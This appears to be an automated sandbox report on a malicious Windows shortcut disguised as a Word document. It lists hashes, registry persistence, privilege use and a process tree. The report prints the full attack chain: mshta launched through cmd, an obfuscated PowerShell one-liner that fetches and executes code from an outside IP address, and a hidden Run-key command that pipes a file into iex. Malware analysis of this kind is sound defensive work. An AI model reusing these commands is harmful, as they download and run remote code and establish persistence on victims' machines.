fcc97ed145e4272f766bc9dce5e0ce2ef0d759691e9bea73e1ad029763c963c9

Analysis

max time kernel
112s
max time network
119s
platform
windows7_x64
resource
win7
submitted
16/07/2020, 18:52

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General

Target

N-388-30.06.2020.docx.lnk
Size

60KB
MD5

7b5f028144aa35afdf9f4835fa5432b8
SHA1

8bf59baf6a003c279e95540bfb92149f6f0ba668
SHA256

35bc847e8a2ac7ccb75850cf69db5a47c245ed2a4dc5e98283dfd8f7f9df59e1
SHA512

2dd8bf9ab657252f86de10126f4533a3fd0053f8adb6abb2e62d30aebd9fb257d036442f3383bde2ff9fac410f2613a4caccb57fd0ff04dc8c22d164a4ed9ead

Score

8^/10

persistence

Malware Config

Signatures

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Office loads VBA resources, possible macro or embedded object present

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1131729243-447456001-3632642222-1000\Software\Microsoft\Windows\CurrentVersion\Run\o7ejivcs = "cmd /c power^shell -windowstyle hidden -nop -c \"Get-Content -Raw ''C:\\Users\\Admin\\AppData\\Roaming\\o7ejivcs.ini'' \| iex \""	powershell.exe

Suspicious use of AdjustPrivilegeToken 41 IoCs

description	pid	Process
Token: SeDebugPrivilege	340	powershell.exe
Token: SeIncreaseQuotaPrivilege	340	powershell.exe
Token: SeSecurityPrivilege	340	powershell.exe
Token: SeTakeOwnershipPrivilege	340	powershell.exe
Token: SeLoadDriverPrivilege	340	powershell.exe
Token: SeSystemProfilePrivilege	340	powershell.exe
Token: SeSystemtimePrivilege	340	powershell.exe
Token: SeProfSingleProcessPrivilege	340	powershell.exe
Token: SeIncBasePriorityPrivilege	340	powershell.exe
Token: SeCreatePagefilePrivilege	340	powershell.exe
Token: SeBackupPrivilege	340	powershell.exe
Token: SeRestorePrivilege	340	powershell.exe
Token: SeShutdownPrivilege	340	powershell.exe
Token: SeDebugPrivilege	340	powershell.exe
Token: SeSystemEnvironmentPrivilege	340	powershell.exe
Token: SeRemoteShutdownPrivilege	340	powershell.exe
Token: SeUndockPrivilege	340	powershell.exe
Token: SeManageVolumePrivilege	340	powershell.exe
Token: 33	340	powershell.exe
Token: 34	340	powershell.exe
Token: 35	340	powershell.exe
Token: SeIncreaseQuotaPrivilege	340	powershell.exe
Token: SeSecurityPrivilege	340	powershell.exe
Token: SeTakeOwnershipPrivilege	340	powershell.exe
Token: SeLoadDriverPrivilege	340	powershell.exe
Token: SeSystemProfilePrivilege	340	powershell.exe
Token: SeSystemtimePrivilege	340	powershell.exe
Token: SeProfSingleProcessPrivilege	340	powershell.exe
Token: SeIncBasePriorityPrivilege	340	powershell.exe
Token: SeCreatePagefilePrivilege	340	powershell.exe
Token: SeBackupPrivilege	340	powershell.exe
Token: SeRestorePrivilege	340	powershell.exe
Token: SeShutdownPrivilege	340	powershell.exe
Token: SeDebugPrivilege	340	powershell.exe
Token: SeSystemEnvironmentPrivilege	340	powershell.exe
Token: SeRemoteShutdownPrivilege	340	powershell.exe
Token: SeUndockPrivilege	340	powershell.exe
Token: SeManageVolumePrivilege	340	powershell.exe
Token: 33	340	powershell.exe
Token: 34	340	powershell.exe
Token: 35	340	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
340	powershell.exe
340	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
644	WINWORD.EXE

Blacklisted process makes network request 2 IoCs

flow	pid	Process
5	340	powershell.exe
7	340	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 1064 wrote to memory of 1312	1064	cmd.exe	25
PID 1064 wrote to memory of 1312	1064	cmd.exe	25
PID 1064 wrote to memory of 1312	1064	cmd.exe	25
PID 1312 wrote to memory of 1436	1312	cmd.exe	26
PID 1312 wrote to memory of 1436	1312	cmd.exe	26
PID 1312 wrote to memory of 1436	1312	cmd.exe	26
PID 1436 wrote to memory of 644	1436	mshta.exe	27
PID 1436 wrote to memory of 644	1436	mshta.exe	27
PID 1436 wrote to memory of 644	1436	mshta.exe	27
PID 1436 wrote to memory of 340	1436	mshta.exe	28
PID 1436 wrote to memory of 340	1436	mshta.exe	28
PID 1436 wrote to memory of 340	1436	mshta.exe	28

Deletes itself 1 IoCs

pid	Process
1436	mshta.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
644	WINWORD.EXE
644	WINWORD.EXE

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:1064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /v /c set m=m^s^h^ta && set a=N-388-^30.06.^2020.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! "!temp!\Temp1_За^прос.z^ip\!a!")
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1312
- - C:\Windows\system32\mshta.exe
    mshta "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx.lnk "
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of WriteProcessMemory
    - Deletes itself
    PID:1436
  - - C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
      "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\N-388-30.06.2020.docx"
      4⤵
      Suspicious behavior: AddClipboardFormatListener
      Suspicious use of SetWindowsHookEx
      PID:644
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nop -c while(!(.("""{0}{1}{2}"""-f ("""{1}{0}""" -f 'st-','Te'),("""{2}{1}{0}""" -f 'ec','onn','C'),("""{1}{0}"""-f'n','tio')) ("""{1}{2}{0}""" -f ("""{0}{1}"""-f("""{1}{0}"""-f'.c','le'),'om'),'g','oog') -q)) {&("""{1}{2}{0}{3}""" -f ("""{0}{1}""" -f("""{0}{1}""" -f 'a','rt-'),'Sl'),'S','t','eep') -s 5} .("""{1}{0}""" -f'ex','i')(.("""{2}{1}{0}""" -f't',("""{1}{0}"""-f 'jec','Ob'),("""{0}{1}""" -f'Ne','w-')) ("""{0}{4}{1}{2}{3}"""-f ("""{1}{0}""" -f 'W',("""{0}{1}"""-f 'Net','.')),'C','li','ent','eb')).("""{3}{4}{1}{2}{0}"""-f'ing',("""{1}{0}"""-f'lo','wn'),("""{1}{0}""" -f 'Str','ad'),'D','o')."""In`Vo`kE"""(("""http://45.61.138.170/decide.php"""))
      4⤵
      Adds Run key to start application
      Suspicious use of AdjustPrivilegeToken
      Suspicious behavior: EnumeratesProcesses
      Blacklisted process makes network request
      PID:340

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1436-4-0x0000000003BB0000-0x0000000003BD0000-memory.dmp

Filesize
128KB

Download
memory/1436-5-0x0000000005670000-0x0000000005693000-memory.dmp

Filesize
140KB

Download